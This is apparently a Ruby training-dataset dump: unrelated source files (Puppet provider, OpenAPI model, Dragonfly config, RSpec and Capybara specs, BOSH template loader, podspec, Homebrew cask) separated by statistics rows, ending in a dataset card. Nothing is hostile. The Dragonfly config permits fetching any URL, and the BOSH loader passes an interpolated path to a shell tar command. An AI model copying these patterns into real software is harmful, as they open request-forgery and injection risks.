require_relative '../../../puppet_x/puppetlabs/kubernetes/provider'
Puppet::Type.type(:kubernetes_downward_api_projection).provide(:swagger, :parent => PuppetX::Puppetlabs::Kubernetes::Provider) do
mk_resource_methods
def self.instance_to_hash(instance)
{
ensure: :present,
name: instance.metadata.name,
items: instance.items.respond_to?(:to_hash) ? instance.items.to_hash : instance.items,
object: instance,
}
end
def create
Puppet.info("Creating kubernetes_downward_api_projection #{name}")
create_instance_of('downward_api_projection', name, build_params)
end
def flush
unless @property_hash.empty?
unless resource[:ensure] == :absent
flush_instance_of('downward_api_projection', name, @property_hash[:object], build_params)
end
end
end
def destroy
Puppet.info("Deleting kubernetes_downward_api_projection #{name}")
destroy_instance_of('downward_api_projection', name)
@property_hash[:ensure] = :absent
end
private
def self.list_instances
list_instances_of('downward_api_projection')
end
def build_params
params = {
items: resource[:items],
}
params.delete_if { |key, value| value.nil? }
params
end
end
| 24.704918 | 130 | 0.671533 |
f79f07b9acd351e0e2939d63e3addaf9eee43cb5 | 5,928 | =begin
#OpenAPI Petstore
#This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.0.1-SNAPSHOT
=end
require 'date'
module Petstore
class AdditionalPropertiesString
attr_accessor :name
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'name' => :'name'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'name' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `Petstore::AdditionalPropertiesString` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `Petstore::AdditionalPropertiesString`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'name')
self.name = attributes[:'name']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
name == o.name
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[name].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
Petstore.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 30.091371 | 214 | 0.627024 |
abdad802db37b74009700f2f168a2f145b4c6342 | 693 | require 'dragonfly'
Dragonfly.app.configure do
# Allow all URLs to be fetched.
fetch_url_whitelist [
/.*/
]
plugin :imagemagick
verify_urls true
secret Rails.application.secrets.dragonfly_secret
url_format "/media/:job/:name"
if Rails.env.test?
datastore :memory
else
datastore :file,
root_path: Rails.root.join('public/system/dragonfly', Rails.env),
server_root: Rails.root.join('public')
end
end
# Logger
Dragonfly.logger = Rails.logger
# Mount as middleware
Rails.application.middleware.use Dragonfly::Middleware
# Add model functionality
ActiveRecord::Base.extend Dragonfly::Model
ActiveRecord::Base.extend Dragonfly::Model::Validations
| 20.382353 | 71 | 0.741703 |
1103e4dd0fc48e951932b79d56f9af3b67275696 | 3,953 | require 'spec_helper'
module Bmg
module Operator
describe Ungroup do
subject {
Ungroup.new(Type::ANY.with_keys(keys), operand, attrlist)
}
context 'with a candidate key that does not use the attrlist' do
let(:keys) {
[[:id], [:id, :grouped]]
}
describe 'with a single attribute' do
let(:attrlist) {
[:grouped]
}
let(:operand) {
Relation.new [
{ id: 1, :grouped => [{ foo: "Bar" }, {foo: "Baz"}] },
{ id: 2, :grouped => [{ foo: "Fuu" }] },
{ id: 3, :grouped => [] }
]
}
it 'works' do
expected = [
{ id: 1, foo: "Bar" },
{ id: 1, foo: "Baz" },
{ id: 2, foo: "Fuu" },
]
expect(subject.to_a).to eql(expected)
end
end
describe 'with two attributes' do
let(:attrlist) {
[:grouped, :second]
}
let(:operand) {
Relation.new [
{ id: 1, :grouped => [{ foo: "Bar" }, {foo: "Baz"}], :second => [{bar: "Baz"}, {bar: "Boz"}] },
{ id: 2, :grouped => [{ foo: "Fuu" }], :second => [{bar: "Buz"}] },
{ id: 3, :grouped => [], :second => [{bar: "Fuz"}] },
{ id: 4, :grouped => [], :second => nil },
{ id: 5, :grouped => [{ foo: "Bar" }], :second => nil },
{ id: 6, :grouped => nil, :second => [{bar: "Baz"}] },
{ id: 7, :grouped => nil, :second => nil }
]
}
it 'works' do
expected = [
{ id: 1, foo: "Bar", bar: "Baz" },
{ id: 1, foo: "Bar", bar: "Boz" },
{ id: 1, foo: "Baz", bar: "Baz" },
{ id: 1, foo: "Baz", bar: "Boz" },
{ id: 2, foo: "Fuu", bar: "Buz" },
]
expect(subject.to_a).to eql(expected)
end
end
describe 'when yielding duplicates (key violation)' do
let(:attrlist) {
[:grouped]
}
let(:operand) {
Relation.new [
{ id: 1, :grouped => [{ foo: "Bar" }, {foo: "Baz"}] },
{ id: 1, :grouped => [{ foo: "Bar" }] },
]
}
it 'yields them (because PRE is wrong, POST is wrong too)' do
expected = [
{ id: 1, foo: "Bar" },
{ id: 1, foo: "Baz" },
{ id: 1, foo: "Bar" }
]
expect(subject.to_a).to eql(expected)
end
end
end
context 'with no candidate key' do
let(:keys) {
nil
}
describe 'when yielding duplicates' do
let(:attrlist) {
[:grouped]
}
let(:operand) {
Relation.new [
{ id: 1, :grouped => [{ foo: "Bar" }, {foo: "Baz"}] },
{ id: 1, :grouped => [{ foo: "Bar" }] },
]
}
it 'removes them' do
expected = [
{ id: 1, foo: "Bar" },
{ id: 1, foo: "Baz" },
]
expect(subject.to_a).to eql(expected)
end
end
end
context 'with only candidate keys using grouped' do
let(:keys) {
[[:id, :grouped]]
}
describe 'when yielding duplicates' do
let(:attrlist) {
[:grouped]
}
let(:operand) {
Relation.new [
{ id: 1, :grouped => [{ foo: "Bar" }, {foo: "Baz"}] },
{ id: 1, :grouped => [{ foo: "Bar" }] },
]
}
it 'removes them' do
expected = [
{ id: 1, foo: "Bar" },
{ id: 1, foo: "Baz" },
]
expect(subject.to_a).to eql(expected)
end
end
end
end
end
end
| 26.891156 | 109 | 0.374146 |
f7dc77edd54ff7f9044ac21e5ac3dbff13b11b17 | 2,328 | require 'bosh/director/core/templates'
require 'bosh/director/core/templates/job_template_renderer'
require 'bosh/director/core/templates/source_erb'
module Bosh::Director
class JobTemplateUnpackFailed < StandardError
end
module Core::Templates
class JobTemplateLoader
def initialize(logger, template_blob_cache, link_provider_intents, dns_encoder)
@logger = logger
@template_blob_cache = template_blob_cache
@link_provider_intents = link_provider_intents
@dns_encoder = dns_encoder
end
def process(job_template)
template_dir = extract_template(job_template)
manifest = Psych.load_file(File.join(template_dir, 'job.MF'))
monit_erb_file = File.read(File.join(template_dir, 'monit'))
monit_source_erb = SourceErb.new('monit', 'monit', monit_erb_file, job_template.name)
source_erbs = []
template_name = manifest.fetch('name', {})
manifest.fetch('templates', {}).each_pair do |src_name, dest_name|
erb_file = File.read(File.join(template_dir, 'templates', src_name))
source_erbs << SourceErb.new(src_name, dest_name, erb_file, job_template.name)
end
JobTemplateRenderer.new(job_template: job_template,
template_name: template_name,
monit_erb: monit_source_erb,
source_erbs: source_erbs,
logger: @logger,
link_provider_intents: @link_provider_intents,
dns_encoder: @dns_encoder)
ensure
FileUtils.rm_rf(template_dir) if template_dir
end
private
def extract_template(job_template)
@logger.debug("Extracting job #{job_template.name}")
cached_blob_path = @template_blob_cache.download_blob(job_template)
template_dir = Dir.mktmpdir('template_dir')
output = `tar -C #{template_dir} -xzf #{cached_blob_path} 2>&1`
if $?.exitstatus != 0
raise Bosh::Director::JobTemplateUnpackFailed,
"Cannot unpack '#{job_template.name}' job template, " +
"tar returned #{$?.exitstatus}, " +
"tar output: #{output}"
end
template_dir
end
end
end
end
| 35.815385 | 93 | 0.630155 |
e834bc83cbba1bedc70c242d8492483e6fc051b6 | 3,925 | require 'rails_helper'
feature 'Event Creation', js: true do
before do
create :venue, title: 'Empire State Building'
create :venue, title: 'New Relic'
create :venue, title: 'Urban Airship'
end
scenario 'User adds an event at an existing venue' do
# visit '/'
# click_on 'Add an event'
visit '/events/new'
fill_in 'Event Name', with: 'Ruby Newbies'
find_field('Venue').native.send_keys 'empire'
expect(page).to have_text('Empire State Building')
click_on 'Empire State Building'
fill_in 'start_date', with: '2014-08-05'
fill_in 'start_time', with: '06:00 PM'
fill_in 'end_date', with: '2014-08-06'
fill_in 'end_time', with: '11:00 PM'
fill_in 'Website', with: 'www.rubynewbies.com'
fill_in 'Description', with: 'An event for beginners'
fill_in 'Venue details', with: 'On the third floor'
fill_in 'Tags', with: 'beginners,ruby'
click_on 'Create Event'
expect(page).to have_content 'Event was successfully saved'
expect(page).to have_content 'Ruby Newbies'
expect(page).to have_content 'Empire State Building'
expect(page).to have_content 'Tuesday, August 5, 2014 at 6pm through Wednesday, August 6, 2014 at 11pm'
expect(page).to have_content 'Website http://www.rubynewbies.com'
expect(page).to have_content 'Description An event for beginners'
expect(page).to have_content 'On the third floor'
expect(page).to have_content 'Tags beginners, ruby'
end
scenario 'User adds an event at a new venue' do
visit '/'
click_on 'Add an event'
fill_in 'Event Name', with: 'Ruby Zoo'
fill_in 'Venue', with: 'Portland Zoo'
fill_in 'start_date', with: '2014-05-15'
fill_in 'start_time', with: '04:00 PM'
fill_in 'end_time', with: '09:00 PM'
fill_in 'end_date', with: '2014-05-15'
fill_in 'Website', with: 'www.rubyzoo.com'
fill_in 'Description', with: 'An ruby event at the zoo'
fill_in 'Venue details', with: 'Next to the gorillas'
fill_in 'Tags', with: 'ruby,zoo'
click_on 'Create Event'
expect(page).to have_content 'Event was successfully saved'
expect(page).to have_content "Please tell us more about where it's being held."
expect(page).to have_content(/Version [\d\D]+ Editing: Portland Zoo/)
expect(find_field('Venue Name').value).to have_content 'Portland Zoo'
fill_in 'Venue Name', with: 'Zoo of Portland'
fill_in 'Full Address', with: '4001 SW Canyon Rd, Portland, OR 97221'
fill_in 'Street address', with: '4001 SW Canyon Rd'
fill_in 'City', with: 'Portland'
fill_in 'State', with: 'OR'
fill_in 'Zip Code', with: '97221'
fill_in 'Web Link', with: 'www.portland.zoo'
fill_in 'Email', with: '[email protected]'
fill_in 'Telephone', with: '123-444-5555'
click_on 'Update Venue'
expect(page).to have_content 'Venue was successfully saved'
expect(page).to have_content 'Ruby Zoo'
expect(page).to have_content 'Zoo of Portland'
expect(page).to have_content 'Thursday, May 15, 2014 from 4–9pm'
expect(page).to have_content 'Zoo of Portland 4001 SW Canyon Rd Portland, OR 97221 (map)'
expect(page).to have_content 'Next to the gorillas'
expect(page).to have_content 'Website http://www.rubyzoo.com'
expect(page).to have_content 'Description An ruby event at the zoo'
expect(page).to have_content 'Tags ruby, zoo'
click_link 'Zoo of Portland'
expect(page).to have_content 'Zoo of Portland'
expect(page).to have_content '4001 SW Canyon Rd Portland, OR 97221 (map)'
expect(page).to have_content 'www.portland.zoo'
expect(page).to have_content '[email protected]'
expect(page).to have_content '123-444-5555'
end
scenario 'User begins typing a venue name' do
visit '/events/new'
find_field('Venue').native.send_keys 'urban'
expect(page).to have_text('Urban Airship')
expect(page).to have_no_text('New Relic')
end
end
| 37.740385 | 107 | 0.690191 |
e88479cc3b16b3229d18d83530833a5b00cf15b6 | 1,794 | #
# Be sure to run `pod lib lint Libmuse.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'Libmuse'
s.version = '0.1.0'
s.summary = 'A short description of Libmuse.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: Add long description of the pod here.
DESC
s.homepage = 'https://github.com/<GITHUB_USERNAME>/Libmuse'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { "Jordan Howlett" => '[email protected]' }
s.source = { :git => 'https://github.com/<GITHUB_USERNAME>/Libmuse.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '10.0'
# s.source_files = 'Libmuse/Classes/**/*'
s.requires_arc = true
# s.public_header_files = 'Pod/Headers/**/*.h'
s.ios.source_files = 'Headers/Muse/*.h'
s.ios.vendored_libraries = 'libMuse.a'
s.xcconfig = { 'OTHER_LDFLAGS' => '-lc++' }
# s.resource_bundles = {
# 'Libmuse' => ['Libmuse/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
s.frameworks = 'CoreBluetooth'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 35.88 | 109 | 0.636009 |
3929aa66dcfcbd520724c682785c606f186710a7 | 814 | client = DocSpring::Client.new
template_id = 'tpl_000000000000000001'
<% if @template_type != :doc -%>
expect(client).to receive(:sleep).with(1).once
<% end -%>
response = client.generate_pdf(
template_id: template_id,
data: {
title: 'Test PDF',
description: 'This PDF is great!',
},
field_overrides: {
title: {
required: false
}
}
)
submission = response.submission
<% if @template_type == :doc -%>
puts "Download your PDF at: #{submission.download_url}"
<% else -%>
expect(response.status).to eq 'success'
expect(submission.id).to start_with 'sub_'
expect(submission.expired).to eq false
expect(submission.state).to eq 'processed'
expect(submission.pdf_hash).to eq 'TEST_SUBMISSION_SHA256_HASH'
expect(submission.download_url).to include 'submissions/submission.pdf'
<% end -%>
| 26.258065 | 71 | 0.710074 |
5d944ec12badcc2973a4968613e550a49828da5f | 864 | #
# Copyright (c) 2016 Sam4Mobile
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
actions :create
default_action :create
attribute :host, kind_of: String, name_attribute: true
attribute :bin, kind_of: String, default: '/usr/sbin/gluster'
attribute :peer_wait_retries, kind_of: Integer, default: 10
attribute :peer_wait_retry_delay, kind_of: Integer, default: 10
| 36 | 74 | 0.769676 |
33e791de49f519e414f8792c24a27ca862e70ba0 | 2,299 | cask 'omnifocus' do
if MacOS.version <= :mavericks
version '2.0.4'
sha256 '3282eb7e41ec2638f68a92a6509eddd96a96c39b65b954dcedcc4e62289f22a9'
url "https://downloads.omnigroup.com/software/MacOSX/10.9/OmniFocus-#{version}.dmg"
elsif MacOS.version <= :yosemite
version '2.7.4'
sha256 'a273e55c15f82540fe305344f9e49ad7d0d9c326ba2c37c312076ffd73780f80'
url "https://downloads.omnigroup.com/software/MacOSX/10.10/OmniFocus-#{version}.dmg"
elsif MacOS.version <= :el_capitan
version '2.10'
sha256 'e808a72e60cdff9ff5aa1046d856bf62d6418e4915248816c4640e32e52fd8e8'
url "https://downloads.omnigroup.com/software/MacOSX/10.11/OmniFocus-#{version}.dmg"
elsif MacOS.version <= :sierra
version '2.12.4'
sha256 '8a2dc53331dba804f6781773fef546a03c181fc4ff0eb7ee4f871c10342621f0'
url "https://downloads.omnigroup.com/software/MacOSX/10.12/OmniFocus-#{version}.dmg"
elsif MacOS.version <= :high_sierra
version '3.4.6'
sha256 'b770b046c2c59f6e55f54d0ad822d5aa755a18aa201d333341de14ebbbcc6a85'
url "https://downloads.omnigroup.com/software/MacOSX/10.13/OmniFocus-#{version}.dmg"
else
version '3.6.3'
sha256 'f05de4406155bf5bf7893f4cc4505480b89edf5d211d67bb82e5e7c603c4dd0f'
url "https://downloads.omnigroup.com/software/MacOSX/10.14/OmniFocus-#{version}.dmg"
end
appcast "https://update.omnigroup.com/appcast/com.omnigroup.OmniFocus#{version.major}"
name 'OmniFocus'
homepage 'https://www.omnigroup.com/omnifocus/'
auto_updates true
app 'OmniFocus.app'
uninstall quit: "com.omnigroup.OmniFocus#{version.major}"
zap trash: [
"~/Library/Containers/com.omnigroup.OmniFocus#{version}",
"~/Library/Preferences/com.omnigroup.OmniFocus#{version}.LSSharedFileList.plist",
'~/Library/Preferences/com.omnigroup.OmniSoftwareUpdate.plist',
"~/Library/Caches/Metadata/com.omnigroup.OmniFocus#{version}",
"~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/com.omnigroup.omnifocus#{version}.sfl*",
'~/Library/Group Containers/34YW5XSRB7.com.omnigroup.OmniFocus',
"~/Library/Saved Application State/com.omnigroup.OmniFocus#{version}.savedState",
]
end
| 47.895833 | 165 | 0.736407 |
Description: This dataset is drawn from TheStack Corpus, an open-source code dataset with over 3TB of GitHub data covering 48 programming languages. We selected a small portion of this dataset to optimize smaller language models for Ruby, a popular statically typed language.
Target Language: Ruby
Dataset Size:
Preprocessing:
Tokenizer: Byte Pair Encoding (BPE) tokenizer with tab and whitespace tokens. GPT-2 vocabulary extended with special tokens.
Training Sequences: Sequences constructed by joining training data text to reach a context length of 2048 tokens (1024 tokens for full fine-tuning).